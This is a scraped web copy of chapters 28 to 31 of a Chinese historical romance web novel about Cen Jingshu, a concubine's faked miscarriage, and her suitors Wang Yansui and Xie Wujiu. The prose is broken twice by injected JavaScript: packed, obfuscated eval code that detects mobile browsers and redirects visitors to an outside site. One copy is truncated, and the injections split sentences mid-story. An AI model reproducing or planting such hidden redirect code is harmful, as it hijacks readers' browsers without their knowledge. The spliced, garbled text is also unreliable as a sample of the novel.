$(''#content'').append('' /p> “你虽然救了羽森卓光,但他在你这里受了折辱,我将人买下后送到了好友那里,约莫他的日子也不是很好过,但他仍旧答应你的条件,此人能够忍辱负重,绝非传言那般无用,不可小觑。” “若无他的致命把柄,还请大人小心行事。” 她收起笔,视线落到谢无咎信上想要弄死崔怀鹤的话,一时猜不准他是玩笑话还是认真的,想了想还是再次提笔,继续写—— “不可妄动,我是怀鹤的嫂嫂,小随是我从小长大的玩伴,他们看到我们那样,只是一时情急,还望谢大人不要和他们计较,专心应对朝堂和羽森卓光一事。” “我也一切都好,大人勿念。” 她先把谢无咎的那封丢进香炉,又将回信折好密封,递给夏意叮嘱道:“务必要亲自交给他身边的那个暗卫,不要假手他人。” “是,奴婢明白。” 她算着时间又处理了府上的一些琐事,让春喜按照往常一样照应好,便趁着夜色掩盖悄悄出了府。 树枝不堪寒风的侵袭,摇晃着发出吱呀悲鸣,把身上厚厚的霜雪抖落,簌簌作响。 一抹红色傲然挺立在其间,在看到她时飞奔而来。 很快她便被紧紧抱住,落入一个温暖坚实的胸膛,强健有力的心跳声犹如密集的鼓点,在她耳边无限放大。 “姐姐,你还好吗?” 岑景舒听出他心绪不佳,安抚性地拍了拍他的背,柔声哄道:“怎么啦小随?我这不是好好的吗?” 王延随的手箍得更紧了,像是要把她融进到他的血肉里,永不分离。 “姐姐,你是被谢无咎那混蛋强迫的吗?还有崔怀鹤,整日跟谢无咎厮混在一起,定然也不是什么好东西,他兄长崔怀松更甚,娶到你居然不好好珍惜……” 岑景舒被这一长串的问话弄的有些苦笑不得,笑着应道:“哪里就有你说的那样不堪了?左右我现在好端端站在你眼前就是了。” 见她有意无意略过这个话题,王延随眼底的阴鸷一闪而过,随即有些失落道:“姐姐,这应是我们见的最后一面了。” “我要走了。” 岑景舒从他怀中挣扎开来,尽管早就做好了心里准备,但在这天真的到来时,还是有些不舍:“何时动身?” “两日后启程。”王延随定定地看着她,像是要把她刻在脑海中一样。 “姐姐,我为你留了两个暗卫和一个侍卫,暗卫会时刻潜在暗中保护你的安全,侍卫不方便近身,你可以让他在你院中做管事的小厮。” 岑景舒摇了摇头:“哪里就有那么娇贵了?我身边的夏意丫头身手极好,有她保护我就够了。” “姐姐,我不放心。”王延随顿了顿,低声道:“谢无咎那样的人太危险了,姐姐即便是愿意的,我也不放心。” 护城河的水面上映着月光和影影绰绰的枝桠,和两个缠绵悱恻的倒影。 “我也知会了我姐姐,你在洛京内遇到什么麻烦都可以去寻她,无论是什么事,我姐姐都会代我无条件帮助你。” 王延随料定她会拒绝,不等她回应便继续说道:“姐姐你救了我的命,是整个王家的恩人,理应如此,姐姐不必推脱。” 他有些难为情地挠了挠头,蓬松的发丝被抓的凌乱不堪,可疑的红晕爬到他的脸颊之上:“我不想姐姐出事。” 岑景舒轻笑着应道:“好好好,我答应你。” 王延随一愣,埋藏在心底许久的话下意识脱口而出:“姐姐,如果我早些……” 29. 第二十九章 他话说到一半猛然清醒,到嘴话拐了个弯:“如果我早些遇见你就好了,这样我就能再多陪姐姐一些时间。” 岑景舒没错过他的恍惚,但也没有细究,她能料想到他要说什么的,无外乎就是他若是能早些回来,早些求娶她,结果会不会不一样。 无论如何,世上不会发生这种如果,那么再去想这些也就没有任何意义。 “小随,你我自幼时相识至今,已是莫大的缘分,我很知足,此次一别,我只希望你能够平平安安。我会在洛京等王小将军凯旋的那一天。”她眉目含笑,发自内心真诚道。 王延随像幼时那样牵住她的手,郑重承诺道:“待我下次回来,我便不走了,总要看到姐姐,我才能安心。” 他话一顿,揉捏着她纤细的手接着关心道:“我听闻你生辰那日,伯母去寻你了,是有什么事情吗?需不需要我帮忙?” “不用。”岑景舒下意识拒绝,说完才察觉语气有些冷硬,紧接着放轻声音笑道:“如若有需要你帮忙的地方,我是不会同你客气的。” 王延随的眼弯了弯,把脑袋埋在她的颈窝里蹭了蹭,拉长声音应道:“好——” 炽热的呼吸喷洒在她的脖颈和耳后,岑景舒身体敏感地瑟缩了一瞬,无奈抬手揉了揉他有些凌乱的头发,软软的。 聚散离合终有时,王延随在她脖颈处拱了拱,而后松开她道:“姐姐,时辰不早了,我送你去歇息。” “嗯。” 漫天的星光洒在地上,将二人的影子无限拉长,直至消失不见。 翌日。 岑景舒刚回踏雪阁不久,夏意来通传月夫人求见,她本来不想见的,但转念一想,不如先看看霜月要做什么,好早做应对。 “姐姐,许久不见,本该早些来告知姐姐的,奈何身子总不太爽利,趁着今日肚子里的小家伙不太闹腾,便来给姐姐请安了。”霜月白嫩的手指抚上小腹,浅笑着道。 岑景舒瞥了夏意一眼,笑道:“妹妹有喜了便好好养胎就是,不必来向我请安,虽说只几步远,但路上冲撞到什么,倒是我的罪过了。” 夏意接收到她的眼神后,在坐榻上铺了一层软垫,这才扶着霜月坐下。 “姐姐哪里的话,我自有孕以来总想着到处走走,料想肚子里应该是个活泼的小公子,连带着我也有精神了。” 这里没有别人,霜月坐下后挑眉看向她,有了身孕就有了底气,也懒得装下去了,一改往日柔弱的面孔,语气中是遮掩不住的得意,眼底尽是挑衅和势在必得。 “那要恭喜妹妹了。”她笑了笑有些敷衍应着,实则已经有些倦了,若霜月只是来耀武扬威的,那实在是没劲。 她素日里不去管霜月,一是因为她不在乎,二是因为霜月虽然聪明,但在她眼里还构不成威胁。 “妹妹记得姐姐不喜熏香,怎得今日屋里却有股淡淡的桃花香?”霜月轻轻挥了挥袖摆,又道:“不似平常熏香,倒像是桃花香气。” “只是这个时节怎么会有桃花?” 岑景舒象征性地挥了挥衣袖,随即轻笑一声道:“这个时节自然是没有桃花,我没闻见什么桃花香味,妹妹真是高兴糊涂了,应当是闻错了。” “妹妹……” 她话还没说完,就被外面的吵闹声打断,她偏过头去看声音的来源,下一瞬屋内响起一声沉闷的响声。 “啊——” 凄厉的惨叫声在耳畔回荡,殷红刺目的鲜血不断流出,霜月倒在她的身前,眼中噙满泪水,痛苦又绝望地望着她,断断续续道:“孩子...我的孩子...” 岑景舒蹙眉站起身,冷着一张脸,居高临下看着倒在血泊中的人,淡声道:“夏意,去请府医,要快。” “阿月!你怎么了!!” “长公子!您……” 坚实的门被崔怀松一脚大力踹开,春喜上前拦住,却被屋内的景象惊到了,劝阻的话都没来得及说全。 崔怀松踉跄着大步走到霜月身前蹲下,指尖颤抖着把霜月揽到怀中:“阿月,阿月!” “松哥哥,我们...的孩子...”霜月皱着眉,冷汗顺着额头滑落,随后直接晕倒在了他的怀中。 一阵兵荒马乱后,霜月被安置在偏房,所有府医都在全力抢救那个还没成型的孩子。 崔怀松在房门前来回踱步,最终还是没忍住红着眼冲淡定站在一旁的人咬牙道:“我的好夫人,你能不能解释一下,这究竟是怎么回事?” 岑景舒看着显然已经气急的崔怀松,但还铭记着前几次的教训,因此选择先行询问,而不是直接给她定罪,不禁有些欣慰,也算是调教成功了一半。 毕竟是要度过余生的人,早些调教出来也省得她日后为此心烦。 闻讯赶来的年婉清打断他们的谈话,从面上看不出什么情绪,看向崔怀松道:“月丫头刚小产完不久你便又让她有孕,这也就罢了,如今你又没看住她,松儿,你让我说你什么好?” 崔怀松攥紧拳头,干巴巴解释道:“不是……母亲,那是个意外,我也不想阿月这么快就……” “好了。这究竟是怎么回事?”年婉清打断他的话,转而看向岑景舒道:“下人慌慌张张来禀报也没说出个一二三来,尽溪你说。” 岑景舒神色淡然,平静地把当时发生了什么挑着复述了一遍,末了又道:“许是妹妹不小心罢。” “可阿月她素来心细如发,怎会如此不小心摔倒?”崔怀松看了一眼屋内,深吸一口气接着道:“景舒你,当真对这个孩子没想法?” 岑景舒嗤笑一声:“我伤了这个孩子,于我而言,百害而无一利。” 他深深看了她一眼,似乎还想要再说些什么,但屋内传来女人虚弱的哀嚎声,他转过头紧张地盯着门框,仿佛要把它盯穿。 岑景舒静下心来开始垂眸思索霜月的布局,先是将再次怀孕的消息放出,而后又来她这里挑衅,屋内当时就她和夏意还有霜月,她和夏意的证词都不可信。 再加上崔怀松当时推门而入看到的景象就是霜月倒在了她的身前,待会霜月醒来定然会诬陷说是她做的。 若不是她提前查了霜月,留有证据,现下恐怕跳进黄河也洗不清,届时即便大夫人保她无恙, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689804|185096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那她善妒的名声也会在洛京城传开。 她虽然不太在乎名声,但吃一堑长一智,总归是她太大意了,打心底就没把霜月放在心上,所以才会如此,此次便当做是长个教训。 半个时辰后,府医满头是汗地拉开门,喘着气道:“回禀夫人,少夫人,长公子,月夫人的性命是保住了,只是孩子……” 府医脸上流露出难过的神情,同为人母,最是知道失去骨肉至亲的滋味不好受:“还是没有保住。” “月夫人现下已经醒了,但还有些虚弱。” 崔怀松立刻推门而入,府医见状想拦却没来得及,只得对她们道:“夫人,少夫人,还请多劝着长公子些,月夫人现在不宜受惊。” “好,有劳了。”岑景舒客气地点了下头,这些虽说是府医,但并非奴籍,和府上只是雇佣关系,并且大多都是大夫人自年家带来的。 说罢她就跟着年婉清进了房间,粘腻的血腥味充斥着整个房屋,光线被层层帷幔隔绝,只有摇曳的灯烛微弱的光亮,女人断断续续的呜咽声空灵而又幽怨。 活像是进了什么鬼屋。 “是...姐姐推了我。” 她听到这句话,身形一顿,随即所有人的目光都汇集到了她的身上。 “是姐姐想要过继我的孩子,我不肯,姐姐便说那我也别想要孩子,姐姐,你好狠的心啊姐姐,我一直把你当做亲姐姐看。”霜月眼尾通红,在苍白的脸上显得更加惹人怜爱。 霜月抽噎几声,而后继续委屈道:“不曾想,姐姐竟如此待我,妹妹究竟做错了什么?难道想要留下我自己的孩子也不行吗……” “夏意。” 岑景舒无视崔怀松愤怒至极的眼神,偏头冲着夏意平静道:“去把东西拿过来,相信妹妹还有长公子会感兴趣的。” “是。” 榻上的霜月眼底闪过一丝慌张,不过很快被她掩饰过去,她咬了咬嘴唇:“姐姐,事到如今,我不愿再计较这个孩子再伤了我们姐妹情分,只愿姐姐……” “够了!” 崔怀松猛然起身,大踏步走到岑景舒面前,积攒的怒意蓄势待发,他咬着牙一字一句道:“景舒,你还有什么想说的吗” 不待她回话,身侧的年婉清淡淡瞥了他一眼,不轻不重呵斥道:“好了松儿,此事稍后我会彻查,给月丫头一个公道,眼下还是以月丫头的身体为重。” “母亲!”崔怀松有些不可置信道:“这女人究竟给你灌了什么迷魂汤,你竟要这般袒护她!” 僵持间,夏意拿着一个木匣走来,低头双手托匣子起稳稳呈在众人眼前,道:“夫人,长公子,东西在这里。” 岑景舒的神情始终没有太大的变化,因为她知晓,只要有这些东西在,任凭霜月如何巧灿舌花,也于事无补。 她斜了霜月一眼,带着几分悲悯。 霜月似有所感,面如死灰地闭上了双眼,泪珠不断从眼尾滑落,将金丝软枕浸湿了一片。 “咣当——” 崔怀松颤抖着身子看完匣子里的东西后,一把将木匣子推落在地,发出巨大的响声。 30. 第三十章 里面是霜月先前服用厄芽丸、以及先前各种陷害她的证据。 铁证如山,即便他再不愿相信这是真的,也不得不面对事实,一个对他来说近乎残酷的事实。 他心爱的女人,万般呵护的女人,他认为弱柳扶风的女人,其实是一个蛇蝎心肠的恶毒的人。 为了向上爬可以不惜一切手段,甚至是自己的身体。 他的世界正在迅速崩塌,眼前的一切都成为了幻影,所有人都在离他远去,没有一个人为他驻足停留。 他所珍视的,不过是一场大梦。 他虽身为长子,可无论是才学还是智谋,每一样能比得过弟弟,父母赞许的目光永远只属于弟弟,无论他如何努力,始终没能让父母多看一眼。 他后来开始自暴自弃寻欢作乐,可他惊奇的发现,父亲母亲终于肯正眼看他了,哪怕是厌恶责备,他也甘之如饴。 可后来,他们甚至连责备的眼光都懒得给他了,愈发优秀的弟弟就像是一座大山,压得他喘不上气来。 他被需要的那种空虚感从未被填满,那些千娇百媚的女人也只是图他的钱和权,图他这个崔氏长子的身份罢了。 好不容易,有那么一个知音能理解他的感受,愿意陪着他,和他互诉衷肠,用温柔和善意包裹住他那颗千疮百孔的心。 到头来,竟也是镜花水月一场。 “景舒,是我对不住你,人交给你了,随你处置。”他用尽所有气力说完这句话后,丢了魂一般拖着沉重的步子离开了。 年婉清偏头看了一眼崔怀松的背影,轻轻蹙了蹙眉,而后看向岑景舒,道:“尽溪,你自行定夺罢,有何问题来寻我便好。” “是。”岑景舒浅笑着应下,丝毫看不出任何被陷害的愤怒。 她没再去看榻上的霜月,只偏头对夏意淡声吩咐道:“人从哪来的就送哪去吧。” ** “主子,谢老夫人派人送来了一封请柬,说邀您到府上一叙。”春喜把请柬呈上,有些疑惑道:“谢老夫人邀请您做什么?” 岑景舒摇了摇头,接过请柬:“长辈邀约,做小辈的自然不好推脱。” 更何况,那是谢无咎的母亲。 其实她的第一反应是谢无咎想见他,但又觉得谢无咎再随心所欲,也不会去让他母亲替他约见一个有夫之妇,他想来直接翻窗便是了,何苦绕这么大圈子。 想来是世家夫人之间相互走动罢了,谢无咎现在没有娶妻,目前这方面还都是靠着老夫人来维系。 说是老夫人,也只是因为谢无咎年少便做了家主而已,总归老夫人也还正值中年,还有大把时光。 岑景舒特意算着时间不早也不晚准时到了谢家赴约,带路的小厮将她引到一处幽静的院子前,低头恭敬道:“夫人,请。” 她短暂地打量了几眼,这院子虽然位置偏僻了些,但布置都是价值连城奢华的物件,可她听闻谢老夫人是喜欢礼佛的,按理来说不应如此。 到处也不见丫鬟的影子,就连方才引路的小厮都消失得无影无踪。 她按捺下心中的疑虑,面色如常地推开了紧闭的房门。 一片漆黑中,一双大手将她抵在门框之上,她下意识挣扎,发出哐啷的一阵声响。 然而比恐惧先一步到来的,是一股熟悉的沉香气息。 她卸下防备,有些无奈道:“谢无咎,你想见我,何必如此?” “卿卿,抱歉。” 低沉暗哑的声音传来,语气中夹杂着几分懊恼。 她闻言一愣,埋在他的怀中,闷声笑道:“怎么突然道歉?谢大人做了什么对不起我的事情?” 谢无咎没有回话,只是把她抱得更紧,缠绵的吻落下,细致地探索着她唇舌间的每一个角落,带着她共同沉溺。 名为思念的种子在他心中悄然种下,他再也遏制不住内心疯长的枝桠。 想见她。 想吻她。 想知道她过的好不好。 他生平第一次体会到了相思难捱。 但他不能再随便去见她。 上次的事情深刻地印在了他的脑海之中,每每他想要去见她时,就会想到,若是被旁人发现,他的卿卿该怎么办? 虽然他身手足够好,好到可以轻松避开崔府密不透风的暗卫,但他现在不敢拿卿卿的未来去赌了。 他重重摩擦着她的嘴唇,忽然有些嫉妒那个一事无成的废物,凭什么那样的人可以娶到他的卿卿? 自他在她大婚之日,初见她的笑颜后,便再也忘不掉那个火红的身影。 在见到她的那一刻,平静的湖水激起了阵阵涟漪,逐渐变成滔天巨浪。 “卿卿,同他和离吧。” 他看着她因缺氧而有些迷离的眼,轻声道:“你想要的一切,我都能给你。” 岑景舒回过神,只感到有些莫名其妙,这人特意打着谢老夫人的名号来找她,结果只为了说让她和离? 她眼神逐渐清明,一想到她和离后岑家肯定会闹得鸡飞狗跳,她的额头就隐隐作痛。 孝道大过天,她也不好真的翻脸,只能先在暗地里做点小动作。 “谢无咎,我不会和离。”她平静地看着谢无咎那张足以魅惑众生的脸,淡声道:“如果你不愿,我们就此两清。” “为何?他不仅待你不好,也无一官半职,嫁与我又有何不好?”谢无咎的眼神暗了下来,漆黑的瞳孔深不见底。 “卿卿,我心悦你。” “我想和你成亲。” “我想名正言顺和你在一起。” 谢无咎在任何事上都从不吝啬,包括情话也是。 岑景舒伸手推了推他,发现推不动后作罢,冷着脸道:“我想你搞错了一件事,我从来都没有对你动过真情。” “谢无咎,你我之间,绝无可能。” 她看着谢无咎阴沉的脸,心里说到底还是有些畏惧的,虽说她不怕死,但也不想因为风流债而死掉。 谢无咎此人和王延随不同,王延随就是小孩子,哄一哄也就罢了,而且王延随也永远不会伤害她。 但谢无咎她捉摸不透,她能看出来他最开始只是感觉她很有趣,所以愿意和她暧昧不清,只是他现在对她开始用心了,那他将会是她身边的一个不可控的因素。 她决不允许这样的人存在。 “谢无咎,我不喜欢你,我也不会喜欢任何人,我劝你死了这条心,我们以后不要再见面了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16710500|185096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 屋外,凛冬的最后一场大雪悄然而至。 ** “主子,小将军送来的人在别院候着。”春喜瞟了眼她有些红肿的嘴唇,低下头非常识趣什么也没有问。 她抿了抿唇,脑海中回想起谢无咎那山雨欲来的脸色,还是有些后怕,这人虽然最后点了头,但她总觉得以他的为人,这事不会就这么轻易算了。 “走吧。” 不多时,她便带着春喜来到了别院,三个人见到她齐刷刷单膝跪下,垂着头依次语气铿锵道—— “小的暗一。” “小的暗二。” “小的管一。” 岑景舒挑眉,眼中闪过一丝笑意,这取名风格,的确是那个不通文墨的家伙的风格,她轻咳了一声,道:“起来吧。” “暗一,暗二,你们继续做好暗卫本质即可。至于管一,你便改名为秋言,在我院中洒扫,随时待命。” “是,小的遵命。” 话落,两个暗卫顿时隐匿于暗中,不见了身影,秋言则是跟着春喜去任职,然后熟悉府上地形了。 “主子,桑尘来了,说二公子请您去书房一趟。”夏意不知从哪里走过来,肩头上落了一层薄薄的雪。 岑景舒皱了皱眉,无端有些烦躁,先是伸手替夏意将肩头上的雪扫落,又摆了摆手,应道:“去回了二公子,就说我这里忙着,暂时没有时间,若无要紧事便改日再谈。” 夏意领命后转身就走,她动作极快,顷刻间便走出一段距离。 “等等。” 夏意立刻挺住脚步,回过身等待着自家主子的下一步吩咐。 “跟桑尘说,我稍后便去。”她平复了下躁动的心绪,还是答应了下来。 她慢条斯理喝完一盏茶后,思衬良久后,这才起身独自撑着伞缓步去了大书房。 崔怀鹤找她做什么?她握着伞柄的手攥紧,手背上的青筋清晰可见,指尖因用力微微泛白。 因着谢无咎,她现在有些抵触任何外来情感了,还不如花钱养男人来的实在,这样就不用时刻揣度对方的心思,去维系一段见不得光的情感。 她不知道崔怀鹤对她有没有僭越之心,但可以肯定的是,她夫君的这个弟弟,对她的想法不止于长嫂。 这也是她最开始不想见他的原因。 “长嫂。” 岑景舒听到声音后恍惚了一瞬,以为是想的太入神了以至于产生了幻听,下意识抬眸望去,便看到了不远处崔怀鹤单手持伞,浅笑着在看她。 恰逢一阵寒风乍起,殷红的梅花花瓣裹挟着银白的霜雪抚过他的脸庞,将他的发丝吹起,凌空飞舞。 她怔愣了片刻,随即很快勾起唇角,温和道:“怀鹤,你让人请我来,是有什么事吗?” “是,不过外面天寒,待稍后进屋再谈不迟。”崔怀鹤将他的伞收起,随后自然地把她手中的伞拿走,二人顿时肩并肩同处在一把伞下。 他的整套动作无比行云流水,以至于她反应过来时,已经在他的身侧了。 周围纷纷扬扬的大雪被油纸伞隔开,好像与此一并远去的还有外面的整个世界,偌大天地间不过仅伞下方寸而已。 “长嫂,你在想什么?” 31. 第三十一章 岑景舒回过神,笑了笑轻声应道:“没什么。” 行至书房内,崔怀鹤在她坐下后才在她对面落座,十分自然地为她沏了杯茶,整套动作行云流水,颇为赏心悦目,方才心中的一点郁闷一扫而空。 清冽的茶香四溢,她听到他不紧不慢开口:”长嫂,前些日子景钰弟弟来向我请教书法。“ 岑景舒放下茶杯,眸光微动,隐约猜到了什么,应和了声:“是,我这弟弟虽然有些愚钝,但胜在肯勤学苦练,除此外,他还麻烦怀鹤什么了吗?” 他顿了顿,似乎是在斟酌用词,片刻后才回:“倒也算不上麻烦,左右不过是一句话的事情,不过我想着景钰毕竟是我们弟弟,高了太过惹眼,低了怕伤了和气。” “景钰弟弟脸皮薄,也没太说清楚,所以我想着,来问问长嫂的想法。” 岑景舒心下了然,暗叹这人果真是八面玲珑,连头发丝上都长满了心眼,他这哪是来问她想让岑景钰做什么官,他这是在提醒她。 提醒她,岑家看她和大夫人这条路走不通,已经另辟蹊径找上他了。 否则官场之事哪里犯得着来特意问她一趟?如果说就连在朝堂上如鱼得水的他都解决不了的问题,来问她八成也是白问。 她温和一笑,慢悠悠将手中的茶喝完,放下茶杯浅笑着回应:“景钰还小,做事难免莽撞,还需多多历练一番,其余的事就先放放吧。” “多谢怀鹤,有劳了。” 崔怀鹤指尖碾动青玉珠串,微小的碰撞声在此刻静谧的环境中被无限放大,他蓦然停住动作:“我明白了。” 他看着眼前人那双多情潋滟的桃花眼,第一次在和旁人谈话时分了神,她的人确实和那双眼睛一样多情,到处流连,但她的心却异常冷硬,和她眼睛深处的寒潭一样冻人。 这样矛盾又有趣的女子,嫁给他那个蠢货兄长,委实有些可惜了。 鬼使神差间,心尖上未经修饰的话脱口而出:“如果你有任何问题,可以随时来找我,我们现在是一家人,不必见外。” 他第一次没有使用敬称,带着几分隐晦又上不得台面的阴暗想法。 岑景舒敏锐地从他的眼神中品味到了些许不对劲,但崔怀鹤说出的话和事都办得都让人挑不出毛病,她暗自思索,把这种感觉归结于是自己过于敏感。 “如果有的话,会来麻烦你的。” 她客气地回应,和当时对王延随说的那样,没把话说太满。 无论做人做事,总要留有余地的。 此事正好给她敲响了一个警钟,回到踏雪阁后,她脑海中不由得响起谢无咎那句,“和离吧。” 她有些天马行空地开始思索起了这条她从未设想过的道路。 想了良久,她忽然嗤笑一声。 她自诩离经叛道,成了亲也敢随心所欲和别的男人不明不白而毫无负担,但在真正的人生抉择上,她却始终固步自封,从未想过冲破牢笼。 明知那家人从里到外都烂了个干净,对她只有利用,在他们逼迫她嫁人时,为什么不敢把他们都杀个干净呢? 夫君是个彻头彻尾的浪荡公子,一事无成只靠着家中权势花天酒地,心思从未在她身上停留,这样的人,即便是维持表面平和,又有什么意义呢? 一个隐约的计划在脑海中逐渐成型,她指尖无意识地敲击桌面,发出不规律的脆响。 “笃笃笃——” 她的思绪被三下轻轻的敲门声拉回,春喜压低的嗓音隔着门有些不太真切。 “主子,长公子在院里候着,想要见您。” 她只犹豫了一瞬要不要见,很快便冷淡拒绝,连敷衍的场面话也不想说:“不见,让他回去。” 随后,更加遥远的声音透过门缝漏了进来,崔怀松毕竟是个主子,几番争论下,春喜的声音变近了:“主子,长公子不肯走,执意要见您。” “你先下去吧。” 春喜听到里面的话传出,长舒口气,忙不迭走了,路过崔怀松时,还不着痕迹斜了他一眼。 呆愣在原地的崔怀松根本没注意小丫鬟暗戳戳的眼神,他失神地站在院中,像只犯了错后被主人遗弃的小狗,手足无措地祈望着主人的原谅和垂怜。 他后悔后觉反应了过来他宠在心尖的女人给他的结发妻子带来了多大的伤害,即便那些阴谋没有得逞,可若是她一时不慎中招了呢? 想到这里愧疚的浪潮将他整个人吞噬,他险些窒息,他宁愿她怨他、恨他亦或是打他骂他都行。 而不是像现在这般毫无波澜,好似他的一切都与她无关,就好像是…… 他父母对他的那样,漠不关心。 他无法接受这个事实,但他同样清楚,是他先有愧于她,现在她这样也是情理之中。 眼前紧闭的房门像是一把生锈的钝刀,一下又一下磋磨着他的心脏,他垂下眼睫迎着刺骨的寒风像一尊石雕般矗立在原地。 不知过了多久,他的血液变得冰凉,和周遭透骨的寒风融为一体。 他抬眼去看丝毫不见松动的房门,依稀能感受到里面时不时飘出的窸窣响声,他放下双手提着的百年难求的药材匣子,失魂落魄地走了。 几乎是瞬间,屋内的岑景舒合上快要看完的书,看着崔怀松远去的背影,叹了口气。 她眸光微动,长公子这状态,有些不太对劲啊…… 直至崔怀松的背影消失不见,她才若有所思地移开目光,看向有些泛黄的书页旁散发着清淡桃花香气的信件。 分明它安安静静躺在那里,可她总觉得有人在她的耳畔兴奋地唤她姐姐。 她唇角微扬,目光柔和下来,专心去看信件的内容。 姐姐姐姐,当你看到这封信的时候,我应该已经到边境了,如果有人敢欺负你,一定不要忍着!别管什么和不和气体不体面,让暗卫揍飞就好了,出了事我王家替姐姐兜底。 姐姐姐姐,你最近过得好吗?有没有想我,我知道姐姐肯定会想我的,因为能感觉的到!!每晚你都会来我的梦里,醒来连空气都带着你身上的香味呢。 我一路上看到了许多新奇的小玩意儿,虽然越往北越冷,但是百姓越来越热情了,每次去摊主那里买东西,摊主都要拉着 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前面就是落脚点啦,我去替姐姐逛逛,给姐姐买些好玩的东西! 岑景舒又从头到尾看了一遍信件内容,脸上的笑意浅了一些,她把信件丢进香炉内,盯着忽明忽暗的火苗,有些担忧起闻绝柳来。 这傻丫头就是王延随信中所提到的柳大小姐。 而柳家主在外界看来对大小姐疼爱至极,大有此生不找到人就不罢休的架势,但是凭借着柳家的如此庞大的势力,想找一个人还不简单吗? 虽说闻绝柳现在是药王谷的弟子,想找到她确实有些难度,但是早些年呢?那时的闻绝柳不过是个幼童,又怎么会躲过柳家天罗地网式的追捕? 除非柳家只是作秀罢了,他们根本没想过要把闻绝柳找回去。 此番却又开始大张旗鼓找人,不知安的什么心。 指尖上残存的桃花消散殆尽,她回过神,提笔开始回信。 然而这封信件方写了一半,屋外再次传来春喜的通禀声:“主子,谢老夫人邀请你到府上一叙,接您的马车已经在府门口候着了。” 岑景舒笔尖停顿,几滴墨水在信纸上晕染开来,她蹙了蹙眉,把脏了的信纸丢进香炉,随后调整好表情,带着春喜一同上了马车。 崔府和谢府离得并不远,下了马车后前来引路的依旧是上次那个小厮。 “小的告退。”那小厮带到地方后,鞠了一躬匆匆跑开了。 “你在外守着。” 岑景舒对春喜低声交代了句,便推门进去了。 屋内依旧十分昏暗,不同于上次的是,她能看清楚屋内的陈设,以及坐在首位冷着一张脸的谢无咎。 她倚着门框,和他隔着数步距离遥遥对视,暖光色调的微弱光线打在他的身上,把他眼底的阴鸷驱散稍许。 一时间谁也没有先开口,满室寂静。 谢无咎轻嗤出声,带着浓重的嘲讽意味,不知究竟是冲着谁,他站起身,缓步向她走来。 他走到距她两步远停下,目光直直盯着她的眼睛,声音沙哑:“卿卿。” “没想到你会来。”